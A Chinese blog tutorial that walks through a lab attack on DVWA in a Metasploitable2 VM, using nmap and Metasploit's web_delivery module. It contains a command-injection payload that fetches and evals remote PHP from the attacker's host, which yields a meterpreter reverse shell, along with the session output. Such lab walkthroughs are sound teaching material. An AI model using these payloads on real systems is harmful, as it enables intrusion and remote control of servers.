使用Kali Linux Metasploit 对WEB应用进行攻击以DVWA为例

有梦想的人运气不太差

已于 2022-10-02 20:30:38 修改

阅读量2.8k

点赞数 2

分类专栏： Kali Linux 文章标签： kali DVWA metasploit

于 2022-10-01 22:07:28 首次发布

本文链接：https://blog.csdn.net/xujing19920814/article/details/127137770

版权

Kali Linux 专栏收录该内容

27 篇文章 1 订阅

订阅专栏

说明

按照《Kali Linux2 网络渗透测试实践指南第二版》第七章操作
仅供学习讨论使用，请勿进行非法操作
请添加图片描述

环境准备

“邪灵工作室“公众号”下载作者提供的 Metasploitable2 虚拟机
到kali 官网下载对应虚拟机并完成安装
上述虚拟机在VM Ware中打开

步骤

确认攻击机所在网络信息

ifconfig

请添加图片描述
可以看出本机ip地址为 192.168.229.133

确认所在网络存活主机信息

nmap 192.168.229.0/24

请添加图片描述

可以看出 192.168.229.134存活，也就是Metasploitable2 虚拟机

网页访问DVWA

Metasploitable2 虚拟机预装了DVWA，直接在kali 攻击机，浏览器地址输入 192.168.229.134
用户名admin, 密码password
请添加图片描述
把security安全等级设为low

打开Command Execution

打开Metasploit

msfconsole

使用web_delivery模块

search web_delivery

请添加图片描述
使用第2个，ID 为1 的exploit模块

msf6 > use 1

请添加图片描述
可以看到不止一种语言支持，所以切换到PHP的对应攻击环境下（DVWA基于PHP实现）

msf6 exploit(multi/script/web_delivery) > set target 1
target => 1
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.229.133
LHOST => 192.168.229.133

请添加图片描述

运行

请添加图片描述
提示告诉我们需要在目标网页上输入

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.229.133:8080/s1JewPn81KZ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

请添加图片描述
但是实际运行后却报错，根据错误修改上述参数如下，可以成功
图中红色实际为之前报错留下的，不影响，这时候切回Kali

127.0.0.1 | php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.229.133:8080/s1JewPn81KZ'));"

请添加图片描述

控制

在浏览器旋转的时候，回到Kali主机内可以看到木马传送到DVWA所在机器使用sessions指令获取当前建立的session信息，从而进入控制，sysinfo获取DVWA所在主机信息

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information                Connection
  --  ----  ----                   -----------                ----------
  1         meterpreter php/linux  www-data @ metasploitable  192.168.229.133:4444 -> 192.168.229.134:48700 (192.168.229.134)

msf6 exploit(multi/script/web_delivery) > getuid
[-] Unknown command: getuid
msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux